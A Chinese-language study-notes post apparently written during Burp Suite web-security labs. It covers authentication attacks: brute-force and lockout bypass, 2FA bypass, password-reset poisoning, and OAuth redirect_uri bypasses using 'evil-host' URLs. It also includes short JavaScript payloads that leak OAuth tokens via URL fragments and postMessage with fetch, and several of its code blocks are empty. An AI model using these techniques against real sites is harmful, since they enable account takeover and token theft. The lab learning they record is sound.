记录在做 burp lab 时学会的知识点。
# Authentication vulnerabilities
# Vulnerabilities in password-based login
# Brute-force attacks
# Username enumeration
1.Status codes
2.Error messages
3.Response times
1 |
|
# Flawed brute-force protection
常见的暴力破解防护措施有两种:如果一个账号有太多的登录失败尝试,就封锁账号;封掉发起太多失败登录的 ip。
对于锁定 ip,有的后端可能会在一个 ip 地址登陆成功后重置计时器,因此可以通过间歇登录成功账号来重置计时器。
# Account locking
发现一个账号在发起一定次数的错误登陆后会被锁定,找到这个次数,然后以不超过这个次数的频率进行爆破。
# User rate limiting
发现账号密码以如下的 json 表格进行传输。
1 |
|
将表格中的密码部分修改为数组形式,最后效果如下。
1 |
|
发送请求,收到一个 302 的 response,选择讲此 response 在浏览器中显示,并讲 url 复制到浏览器中,成功登录账号。
# HTTP basic authentication
这种授权方式较少通过爆破绕过,可以试下 CSRF
# Vulnerabilities in multi-factor authentication
# Bypassing two-factor authentication
在有的 two-factor authentication 中,有的程序员由于疏忽,在第一次账户登录后就将用户标记为登录状态,而并非在第二次验证通过后才进行此操作,
因此我们可以在第一次账户登陆后,直接由 url 跳转到账户页面,从而绕过第二次验证。
# Flawed two-factor verification logic
在第二次验证时,由于使用 account 来判断进行验证的账号,因此可以先使用自己的账号密码登录,在第二次验证时修改协议中的 account 为目标账号,并对验证进行爆破。
# Brute-forcing 2FA verification codes
有的登录界面会在登陆时刷新验证码次数,所以可以使用 burp 脚本来重复登录 - 验证这一过程,达到爆破的目的。
# Vulnerabilities in other authentication mechanisms
# Keeping users logged in
尝试下能否逆向 cookie 或窃取 cookie。
# Resetting user passwords
- 在请求修改密码的包中加入 x-forwarded-host 头指向自己的服务器,然后将账号信息设置为用户的信息,如果用户点击密码重置邮件的链接,其 token 就会转发到我们设置的服务器上去。
- 爆破重置密码的包
# OAuth 2.0 authentication vulnerabilities
# Vulnerabilities in the client application
- 没有使用 state 绑定导致攻击者可以通过 CSRF 将自己的邮箱绑定别人的账号。
# Vulnerabilities in the OAuth service
- 使用 CSRF 获取他人 code,并用得到的 code 进行登录认证。
有的服务器会使用白名单来筛选 redirect_uri,可以尝试绕过。
针对黑名单,可以采取以下方法:a. 更换表述,比如用 2130706433, 017700000001, 或 127.1. 替换 127.0.0.1、b. 注册一个自己的域名来指向想要的 ip 地址、c。使用 URL 加密等技术混淆。
针对白名单匹配,可以采用以下方法:a. 使用 @符号在 hostname 前存放证书,比如 https://expected-host:fakepassword@evil-host、b. 使用 #符号来表示 URL 片段,比如 https://evil-host#expected-host、c. 根据 DNS 命名规则将指定的输入存放在自己控制的 DNS 名中、d. 使用 URL 加密混淆。
有时还可以利用开放重定向漏洞配合目录穿越漏洞来实现网页跳转。
有时更改其他标志,比如将 response_mode 改为 fragment 有时也能绕过筛查。 - 一段 payload
1
2
3
4
5
6
7<script>
if (!document.location.hash) {
window.location = 'URL'
} else {
window.location = '/?'+document.location.hash.substr (1)
}
</script>
3.otherWindow.postMessage (message, targetOrigin, [transfer]);
message 是传递的内容,targetOrigin 是可接收的窗口。
以下脚本可以接收并传递传出来的信息。1
2
3
4
5
6
<script>
window.addEventListener ('message', function (e) {
fetch ("/" + encodeURIComponent (e.data.data))
}, false)
</script>
4.HTML injection vulnerabilities
有的浏览器(比如火狐),在加载一些元素时(比如 < img src="evil-user.net">),会将整个 URL 放在 refer 头里,包括一些我们关心的查询字符串。
# OpenID Connect
考虑到 OpenID 是建立在 OAuth 上,许多前面提到的 OAuth 存在的问题 OpenID 也存在,接下来介绍以下由 OpenID 带来的新问题。
1.Unprotected dynamic client registration